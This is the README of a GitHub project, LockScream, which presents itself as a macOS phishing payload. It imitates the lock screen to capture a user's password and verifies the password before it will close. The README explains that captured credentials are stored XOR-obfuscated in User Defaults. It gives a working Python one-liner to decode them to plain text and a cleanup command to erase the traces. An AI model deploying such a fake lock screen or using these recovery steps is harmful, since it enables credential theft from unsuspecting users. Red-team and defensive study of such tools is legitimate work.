BlacksunLabs / LockScream

macOS Client-Side Phishing lock screen payload
Apache License 2.0
126 stars 14 forks source link

LockScream

macOS Client-Side Phishing lock screen payload.

Emulates the macOS lock screen by dynamically determining a user's wallpaper, username, and user icon. Makes use of Core Services and Collaboration Services to verify entered credentials before allowing the program to close.

Features

Where are the creds ?!

LockScream uses User Defaults to store credentials which takes advantage of LockScream's bundle identifier. When compiling LockScream the bundle identifier may be changed from com.blacksun.research.labs.LockScream to any value desired. Make note of the bundle identifier if you have change it from the default value, you'll need it.

The following examples assume the bundle identifier is set to com.blacksun.research.labs.LockScream

Getting the encrypted credential

$ defaults read com.blacksun.research.labs.LockScream
{
  crTkgKENXxuWDk3 = "MQs7Bx4lPRciFAMd2BAoCU0EGcl1ZZgY="
}

The command above returns a key-value pair in which a randomly generated string is used as the key and the value is a base64 encoded string.
The secret to converting this key-value pair into a user's plain-text password is to first base64 decode the value to get a data blob. The key is also conveniently used as the key used to XOR the password and can be used to turn the data blob back into a plain-text password ready for use.

A simple PoC oneliner for decrypting the stored password is provided below with no guarantee of compatibility with any version of macOS outside of 10.14

$ enc="Base64 String From defaults read Command";key="Key from defaults read Command"; python -c "from itertools import izip,cycle;import base64;data = base64.decodestring(\"$enc\");xored = ''.join(chr(ord(x) ^ ord(y)) for (x,y) in izip(data,cycle(\"$key\")));print xored"

If you want to clean up after retrieving the plain-text credential issue a defaults delete command as follows

defaults delete com.blacksun.research.labs.LockScream

n0ncetonic. Blacksun Research Labs 2019